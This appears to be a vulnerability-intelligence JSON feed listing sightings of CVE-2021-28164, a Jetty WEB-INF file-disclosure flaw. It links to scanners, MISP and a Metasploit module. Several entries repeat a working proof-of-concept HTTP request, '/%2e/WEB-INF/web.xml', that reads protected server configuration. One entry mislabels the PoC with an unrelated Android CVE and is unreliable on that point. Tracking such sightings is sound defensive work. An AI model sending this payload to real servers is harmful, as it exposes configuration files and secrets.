{"vulnerability": "cve-2021-28164", "sightings": [{"uuid": "088c6cc2-6cd2-408c-864a-a9372eb0f2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28164.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "89f2209e-5d5b-4fbf-ab79-30ed0e09fa7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "6a172128-0ebe-4742-90f1-330c86759c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:36.000000Z"}, {"uuid": "945d36af-9c08-492f-a86d-31ee845515a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/jetty_web_inf_disclosure.rb", "content": "", "creation_timestamp": "2021-11-12T18:09:42.000000Z"}, {"uuid": "88b0b8a3-f0d2-40bb-8981-0bf976047f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/491", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28164", "creation_timestamp": "2021-09-02T09:51:47.000000Z"}, {"uuid": "d18aa2b2-f8bc-40f4-be45-df213f6c7a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/cibsecurity/26189", "content": "\u203c CVE-2021-34429 \u203c\n\nFor Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-15T20:26:58.000000Z"}, {"uuid": "09412b41-61dc-423b-aa5a-183eaa4b8873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:12.788606Z"}, {"uuid": "9d46caf7-fa0b-42c8-8ab5-d0a9bbbbbfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:38.630891Z"}, {"uuid": "50fc521f-c88b-4ebb-9309-97fcc2f77e7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T07:00:14.340397Z"}, {"uuid": "c19fec7e-b9c5-485e-9da5-a2cdef658d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T00:00:56.293357Z"}, {"uuid": "d7e161fd-4018-4d8c-bdac-64e27e2ba27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/jetty_web_inf_disclosure.rb", "content": "{\"actions\": [{\"description\": \"Read file on the remote server from WEB-INF folder\", \"name\": \"READ_FILE\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Mayank Deshmukh\", \"cangqingzhe\", \"lachlan roberts \", \"charlesk40\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access\\n          protected files in the WEB-INF folder. Versions effected are:\\n          9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.\\n          Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely\\n          to have information of value.\", \"disclosure_date\": \"2021-07-15\", \"fullname\": \"auxiliary/gather/jetty_web_inf_disclosure\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:52:36 +0000\", \"name\": \"Jetty WEB-INF File Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/jetty_web_inf_disclosure.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"gather/jetty_web_inf_disclosure\", \"references\": [\"EDB-50438\", \"EDB-50478\", \"URL-https://github.com/ColdFusionX/CVE-2021-34429\", \"GHSA-vjv5-gp2w-65vm\", \"GHSA-v7ff-8wcx-gmc5\", \"CVE-2021-34429\", \"CVE-2021-28164\"], \"rport\": 8080, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:16.634174Z"}]}